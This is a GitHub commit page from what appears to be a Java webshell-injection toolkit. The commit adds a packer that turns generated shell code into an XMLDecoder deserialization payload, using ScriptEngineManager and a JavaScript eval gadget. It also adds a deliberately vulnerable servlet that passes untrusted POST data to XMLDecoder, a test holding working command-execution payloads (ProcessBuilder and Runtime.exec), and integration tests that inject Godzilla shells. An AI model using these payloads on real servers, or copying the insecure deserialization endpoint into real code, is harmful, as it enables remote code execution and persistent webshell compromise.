Skip to content

Commit 9fccb40

Browse files
committed
feat: support XMLDecoder packer
1 parent 8ecf863 commit 9fccb40

File tree

7 files changed

+104
-1
lines changed

7 files changed

+104
-1
lines changed

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -346,6 +346,7 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel
346346
case JavaCommonsCollections4 -> VulTool.postData(url + "/java_deserialize/cc40", content);
347347
case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
348348
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
349+
case XMLDecoder -> VulTool.postData(url + "/xmlDecoder", content);
349350
case Base64 -> VulTool.postData(url + "/b64", content);
350351
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
351352
case H2, H2JS, H2Javac -> VulTool.postData(url + "/jdbc", content);

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,8 @@ static Stream<Arguments> casesProvider() {
5050
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections3),
5151
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections4),
5252
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
53-
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize)
53+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
54+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoder)
5455
);
5556
}
5657

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@
4141
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
4242
import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker;
4343
import com.reajason.javaweb.packer.velocity.VelocityPacker;
44+
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
4445
import lombok.Getter;
4546

4647
import java.util.List;
@@ -110,6 +111,7 @@ public enum Packers {
110111
Freemarker(new FreemarkerPacker()),
111112
Velocity(new VelocityPacker()),
112113
JinJava(new JinJavaPacker()),
114+
XMLDecoder(new XMLDecoderPacker()),
113115

114116
/**
115117
* Java 反序列化打包器
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
package com.reajason.javaweb.packer.xmldecoder;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
import com.reajason.javaweb.packer.Packers;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2025/7/22
10+
*/
11+
public class XMLDecoderPacker implements Packer {
12+
String template = "<java>\n" +
13+
" <object class=\"javax.script.ScriptEngineManager\">\n" +
14+
" <void method=\"getEngineByName\">\n" +
15+
" <string>js</string>\n" +
16+
" <void method=\"eval\">\n" +
17+
" <string>{{script}}</string>\n" +
18+
" </void>\n" +
19+
" </void>\n" +
20+
" </object>\n" +
21+
"</java>";
22+
23+
@Override
24+
public String pack(ClassPackerConfig config) {
25+
String script = Packers.ScriptEngine.getInstance().pack(config);
26+
return template.replace("{{script}}", script);
27+
}
28+
}
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
import javax.servlet.ServletException;
2+
import javax.servlet.annotation.WebServlet;
3+
import javax.servlet.http.HttpServlet;
4+
import javax.servlet.http.HttpServletRequest;
5+
import javax.servlet.http.HttpServletResponse;
6+
import java.beans.XMLDecoder;
7+
import java.io.ByteArrayInputStream;
8+
import java.io.IOException;
9+
10+
/**
11+
* @author ReaJason
12+
* @since 2025/7/3
13+
*/
14+
@WebServlet("/xmlDecoder")
15+
public class XmlDecoderServlet extends HttpServlet {
16+
@Override
17+
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
18+
String param = req.getParameter("data");
19+
ByteArrayInputStream inputStream = new ByteArrayInputStream(param.getBytes());
20+
XMLDecoder xmlDecoder = new XMLDecoder(inputStream);
21+
Object obj = xmlDecoder.readObject();
22+
resp.getWriter().println(obj);
23+
xmlDecoder.close();
24+
}
25+
}
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
import org.junit.jupiter.api.Test;
2+
3+
import java.beans.XMLDecoder;
4+
import java.io.ByteArrayInputStream;
5+
import java.util.Base64;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2025/7/3
10+
*/
11+
class XmlDecoderServletTest {
12+
13+
@Test
14+
void test() {
15+
String xml = "<java>" +
16+
" <object class=\"java.lang.ProcessBuilder\">\n" +
17+
" <array class=\"java.lang.String\" length=\"1\" >\n" +
18+
" <void index=\"0\">\n" +
19+
" <string>Calculator</string>\n" +
20+
" </void>\n" +
21+
" </array>\n" +
22+
" <void method=\"start\"/>\n" +
23+
" </object>\n" +
24+
"</java>";
25+
String xml1 = "<java>" +
26+
" <object class=\"javax.script.ScriptEngineManager\">\n" +
27+
" <void method=\"getEngineByName\">\n" +
28+
" <string>js</string>\n" +
29+
" <void method=\"eval\">\n" +
30+
" <string>java.lang.Runtime.getRuntime().exec('open -a Calculator')</string>\n" +
31+
" </void>\n" +
32+
" </void>\n" +
33+
" </object>\n" +
34+
"</java>";
35+
try {
36+
ByteArrayInputStream inputStream = new ByteArrayInputStream(xml1.getBytes());
37+
XMLDecoder xmlDecoder = new XMLDecoder(inputStream);
38+
xmlDecoder.readObject();
39+
xmlDecoder.close();
40+
} catch (Exception e) {
41+
e.printStackTrace();
42+
}
43+
}
44+
45+
}

web/src/i18n/en.json

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -56,6 +56,7 @@
5656
"packageConfig.packer.AgentJarWithJDKAttacher": "AgentJarWithJDKAttacher",
5757
"packageConfig.packer.AgentJarWithJREAttacher": "AgentJarWithJREAttacher",
5858
"packageConfig.packer.H2": "H2 JDBC",
59+
"packageConfig.packer.XMLDecoder": "XMLDecoder",
5960
"packageConfig.title": "Package Method",
6061
"placeholders.input": "Please input",
6162
"placeholders.select": "Please select",

0 commit comments

Comments
 (0)